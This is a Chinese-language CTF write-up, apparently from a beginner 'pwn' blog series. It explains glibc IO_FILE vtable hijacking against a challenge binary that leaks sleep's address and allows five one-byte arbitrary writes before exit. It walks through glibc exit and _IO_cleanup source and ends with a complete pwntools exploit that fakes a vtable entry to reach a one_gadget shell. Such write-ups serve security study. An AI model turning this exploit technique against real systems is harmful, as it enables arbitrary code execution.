菜鸡的 Pwn 08 IO_FILE 利用


菜鸡的 Pwn 08 IO_FILE 利用

一.前言

关于 IO_FILE 的利用近来经常出现, 不同于堆栈的利用,IO_FILE 的利用姿势还算比较固定,通常有两种方法来搞定 IO_FILE,一是修改 vtable 指针指向自己可控的内存,二是直接修改 vtable 中的成员。

涉及一些 glibc 的源代码,可以在这里找到。

推荐将文件中的 close(1),close(2) nop 掉,否则本地看不到最终的效果。

二.分析过程

这道题的附件可以在 这里 找到

先来检查一下程序开启的保护:
image

64位程序,除了 canary 其他保护全开。
丢进 IDA 分析一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]

sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}

逻辑相当简单,而且给出了 sleep 函数的地址和 libc,libc 的基址就可以计算出来了,漏洞在于向 buf 读取内容,第一次读取是正常的,但是第二次读取缺少了取地址符号,可以向我们指定的地址里面写入内容,最多只能写入 5 个字节。
写入内容之后会直接调用 exit 退出程序,貌似没留下什么利用空间,但是这道题反而有两种做法。

  1. 通过修改 exit 函数中的指针获取 shell。
  2. 伪造 vtable 和内部的指针获取 shell。

这里我们通过 vtable 获取 shell。

三.攻击思路

如果想要修改通过 IO_FILE 攻击,那么首先就要理解什么是 IO_FILE。
IO_FILE 是 linux 内核中定义的一个结构体,它定义在 struct_FILE.h 头文件中,下面是源代码
image

和 IO 有关的一些函数(如 fread fwrite 等)都会使用到这个结构体,结构体通过 _chain 成员相互连接形成了一个链表,链表的头部用 _IO_list_all 表示,通过头结点可以遍历所有的 FILE 结构体。
一般情况下,一个程序运行起来之后,会自动打开三个文件流,stdin、stdout和 stderr。所以 _IO_list_all 会指向由这三个文件流组成的链表,值得注意的是,这三个标准文件流位于 libc 的数据段,而之后调用 fread 等函数时创建的结构体位于堆上。
在 _IO_FILE 结构体外面还包裹着另一个结构体 – _IO_FILE_plus(吐槽一下 glibc,真的是很混乱…), 它只包含两个成员:
image

这个结构体定义在 libioP.h 中,第一个成员是 _IO_FILE 类型变量,第二个是跳转表 vtable,我们的主要关注点就是 vtable,里面有很多函数指针(vtable 定义在 plus 结构体的上方):
image

内部有 21 个指针,指向了不同的函数,有一些函数看着名字可以猜出功能,比如说 _IO_read_t ,肯定就是输入会用到的, _IO_write_t 输出会用到的…
以 fread 为例,函数的代码实现在 libio/iofread.c 中
image

重点在第 38 行代码,调用了函数 _IO_sgetn,其定义如下

1
2
3
4
5
_IO_sgetn (FILE *fp, void *data, size_t n)
409 {
410 /* FIXME handle putback buffer here! */
411 return _IO_XSGETN (fp, data, n);
412 }

又调用了 _IO_XSGETN,跟过去是一条宏定义

1
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)

这就关联到了 vtable 上,调用的是 vtable 中的 __xsgetn。
其他函数,如 fwrite、fopen 则大同小异,均与 vtable 有关,所以如果我们能够控制 vtable 中的指针,那么就可以控制程序的流程。

回头看题目,在任意地址写五个字节之后调用了 exit 函数,那么有必要简单了解一些 exit 函数的执行流程。
先来看一下 exit 函数的源代码,函数定义在 stdlib/exit.c 中:
image

直接调用了 __run_exit_handlers 实现具体功能,那么我们跟过去看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
__run_exit_handlers (int status, struct exit_function_list **listp,
39 bool run_list_atexit, bool run_dtors)
40 {
41 /* First, call the TLS destructors. */
42 #ifndef SHARED
43 if (&__call_tls_dtors != NULL)
44 #endif
45 if (run_dtors)
46 __call_tls_dtors ();
47
48 /* We do it this way to handle recursive calls to exit () made by
49 the functions registered with `atexit' and `on_exit'. We call
50 everyone on the list and use the status value in the last
51 exit (). */
52 while (true)
53 {
54 struct exit_function_list *cur;
55
56 __libc_lock_lock (__exit_funcs_lock);
57
58 restart:
59 cur = *listp;
60
61 if (cur == NULL)
62 {
63 /* Exit processing complete. We will not allow any more
64 atexit/on_exit registrations. */
65 __exit_funcs_done = true;
66 __libc_lock_unlock (__exit_funcs_lock);
67 break;
68 }
69
70 while (cur->idx > 0)
71 {
72 struct exit_function *const f = &cur->fns[--cur->idx];
73 const uint64_t new_exitfn_called = __new_exitfn_called;
74
75 /* Unlock the list while we call a foreign function. */
76 __libc_lock_unlock (__exit_funcs_lock);
77 switch (f->flavor)
78 {
79 void (*atfct) (void);
80 void (*onfct) (int status, void *arg);
81 void (*cxafct) (void *arg, int status);
82
83 case ef_free:
84 case ef_us:
85 break;
86 case ef_on:
87 onfct = f->func.on.fn;
88 #ifdef PTR_DEMANGLE
89 PTR_DEMANGLE (onfct);
90 #endif
91 onfct (status, f->func.on.arg);
92 break;
93 case ef_at:
94 atfct = f->func.at;
95 #ifdef PTR_DEMANGLE
96 PTR_DEMANGLE (atfct);
97 #endif
98 atfct ();
99 break;
100 case ef_cxa:
101 /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
102 we must mark this function as ef_free. */
103 f->flavor = ef_free;
104 cxafct = f->func.cxa.fn;
105 #ifdef PTR_DEMANGLE
106 PTR_DEMANGLE (cxafct);
107 #endif
108 cxafct (f->func.cxa.arg, status);
109 break;
110 }
111 /* Re-lock again before looking at global state. */
112 __libc_lock_lock (__exit_funcs_lock);
113
114 if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
115 /* The last exit function, or another thread, has registered
116 more exit functions. Start the loop over. */
117 goto restart;
118 }
119
120 *listp = cur->next;
121 if (*listp != NULL)
122 /* Don't free the last element in the chain, this is the statically
123 allocate element. */
124 free (cur);
125
126 __libc_lock_unlock (__exit_funcs_lock);
127 }
128
129 if (run_list_atexit)
130 RUN_HOOK (__libc_atexit, ());
131
132 _exit (status);
133 }

首先调用了 __call_tls_dtors ,这个函数没有什么值得关注的,重点在于第 70 行代码,是一个 while 循环,条件是 cur->idx > 0,从上面的代码可以找到 cur 指的是 exit_function_list,它是一个结构体,定义在 stdlib/exit.h 头文件中。
image

这也是一个链式结构体,里面包含一些函数指针, 通过遍历这个结构体取出不同的函数执行,达成 exit 的功能。
通过动态调试可以找到调用了哪些函数,通过调试可以发现,会调用函数 _IO_cleanup
image

image

这个函数定义在 libio/genops.c 中:
image

依旧是调用了其他函数完成实际功能,跟过去看一看:
image

已经看到关键点了,在 688 行声明了一个名为 fp 的 FILE 结构体,并在 695 行的 for 循环中遍历 _IO_list_all 链表,和我们之前了解的 IO 相关操作很类似,重点在第 701 行开始的 if,最后一个比较调用了函数 _IO_OVERFLOW(只要前面的条件都满足,无论是哪个 FILE 结构体都可以调用到这个函数),也就是说,如果我们可以控制一个 FILE 结构体的 _IO_write_ptr 大于 _IO_write_base,那么函数就可以执行 IO_OVERFLOW 函数,恰好这个函数又是 vtable 中的成员

1
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

如果将这个函数指针修改成 one_gadget,那么当程序执行到这里时就会返回一个 shell!

我们的攻击思路:

  1. 首先获取 sleep 函数的地址,并且根据偏移计算出 libc 的基址。
  2. 利用 libc 的基址计算出必要的地址,比如我们利用 stdout 来获取 shell,那么就需要计算出 _IO_2_1_stdout 的地址,以及 onegadget 地址。
  3. 修改 _IO_write_ptr,使其大于 _IO_write_base。
  4. 寻找一块合适的位置,布置伪造的 vtable,将 IO_OVERFLOW 修改成 one_gadget 函数地址。
  5. 将 vtable 劫持到之前伪造好的位置。
  6. 获取 shell。

步骤不多,重点在于计算各个重要位置,并且算好偏移。

几个问题:

  1. 为什么不直接修改 vtable 中的函数指针?而一定把 vtable 劫持到另外的位置?
    如果你仔细调试过,就会发现,libc 为了增强安全性,将 vtable 放在了 libc 的可读可执行段,我们没有写权限,当改写 vtable 的时候就会触发错误导致程序退出。

  2. _IO_2_1_stdout_ 到底是什么鬼东西?
    这只是 glibc 给三个常用流(stdin、stdout、stderr)起的名字,另外两个分别是 _IO_2_1_stdin_ 、_IO_2_1_stderr_,它们在源代码中的定义都是 _IO_FILE_plus 结构体:
    image

  3. 这么多结构体,它们真正的样子是什么呢?
    可以通过调试来形象的看一下这些结构体在内存中的样子,以 _IO_2_1_stdout_ 为例,我们使用 gdb 中的命令 p & _IO_2_1_stdout_ 来拿到 _IO_2_1_stdout_ 函数在内存中的地址
    image

image

第二张图片就是结构体的具体形态,结合源代码来看 _IO_FILE_plus 结构体包含一个 FILE 成员和一个 _IO_jump_t 成员,对应到内存上可以很明显的看出来。
_IO_2_1_stdout_ + 216 开始的 8 个字节就是 vtable 的地址,

能不能简单的总结一下针对 _IO_FILE 的攻击流程?
前面照着源代码说了一大堆,实际上关于 IO_FILE 的利用并不复杂,首先要明确那几个关键的结构体如 _IO_FILE_plus、_IO_jump_t 等等,一些和 IO 相关的函数都会调用 vtable 中的函数,这就给了我们可乘之机,如果是使用 _IO_cleanup,那么首先要修改 FILE 结构体中的 _IO_write_ptr,然后劫持 vtable 到一个可控的内存地址,接着修改 vtable 中的第四个成员 – _IO_overflow_t ,将其指向 shellcode 或者 one_gadget。如果不是利用 _IO_cleanup,那么可以直接迁移 vtable 到可控内存,然后修改相关的函数指针。总之,分两步,一是劫持 vtable,二是伪造函数指针。

四.完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context(log_level='DEBUG')
p = process("./the_end")
libc = ELF("./libc64.so")
p.recvuntil("here is a gift ")
sleep_addr = int(p.recv(14),16)
log.info("sleep_addr : 0x%x" % sleep_addr)
libc_addr = sleep_addr - libc.symbols["sleep"]
log.info("libc_addr : 0x%x" % libc_addr)
IO_2_1_stdout = libc_addr + 0x3c5620
log.info("_IO_2_1_stdout_ : 0x%x" % IO_2_1_stdout)
one_gadget = libc_addr + 0xf02a4
log.info("one_gadget : 0x%x" % one_gadget)
vtable = libc_addr + 0x3c36e0
log.info("vtable : 0x%x" % vtable)
p.recv()
sleep(0.1)

p.send(p64(IO_2_1_stdout + 8 * 5)) # _IO_write_ptr
sleep(0.1)
p.send('\xff')
sleep(0.1)

p.send(p64(IO_2_1_stdout + 216 + 1)) # vtable
sleep(0.1)
payload = p8(((vtable + 0xe00) >> 8) & 0xff)
print(payload)
p.send(payload)
sleep(0.1)

p.send(p64(vtable + 0xe00 + 8 * 3))
sleep(0.1)
p.send(p8(one_gadget & 0xff))
sleep(0.1)

one_gadget = one_gadget >> 8

p.send(p64(vtable + 0xe00 + 8 * 3 + 1))
sleep(0.1)
p.send(p8(one_gadget & 0xff))
sleep(0.1)

one_gadget = one_gadget >> 8

gdb.attach(p)

p.send(p64(vtable + 0xe00 + 8 * 3 + 2))
sleep(0.1)
p.send(p8(one_gadget & 0xff))
sleep(0.1)
#p.sendline("cat flag>&0")
#p.recv()
p.interactive()

稍微调试一下 EXP,在 payload 发送完成之后,进入 exit 函数之前,我们来看一下 _IO_2_1_stdout 结构体的情况:
image

红色方框的两处就是我们修改过的成员, 0xff 是 _IO_write_ptr 所在的位置,最后是 vtable 的地址,经过修改,现在 vtable 已经指向了一块满足条件的内存:
image

第四个成员现在已经是 one_gadget 的地址了,下面进入到 exit 函数中,在 _IO_flush_all_lockp 函数中调用到了我们布置的 one_gadget
image

单步进入就会到达 one_gadget。

(如果 nop 了 close(1) 和 close(2) ,是可以正常拿到 shell 的)

值得注意的是,在本地可能没法拿到 flag,这是由于程序关闭了 stdout 和 stderr,但是我们可以通过重定向输出到 stdin ,在远程服务器上得到 flag。
image

五.总结

学习了 IO_FILE 的利用姿势,要点在于掌握各个关键的结构体,源代码很重要,有些问题单单通过调试或者看别人的 WP 是不能解决的,必须自己阅读源代码才能加深理解。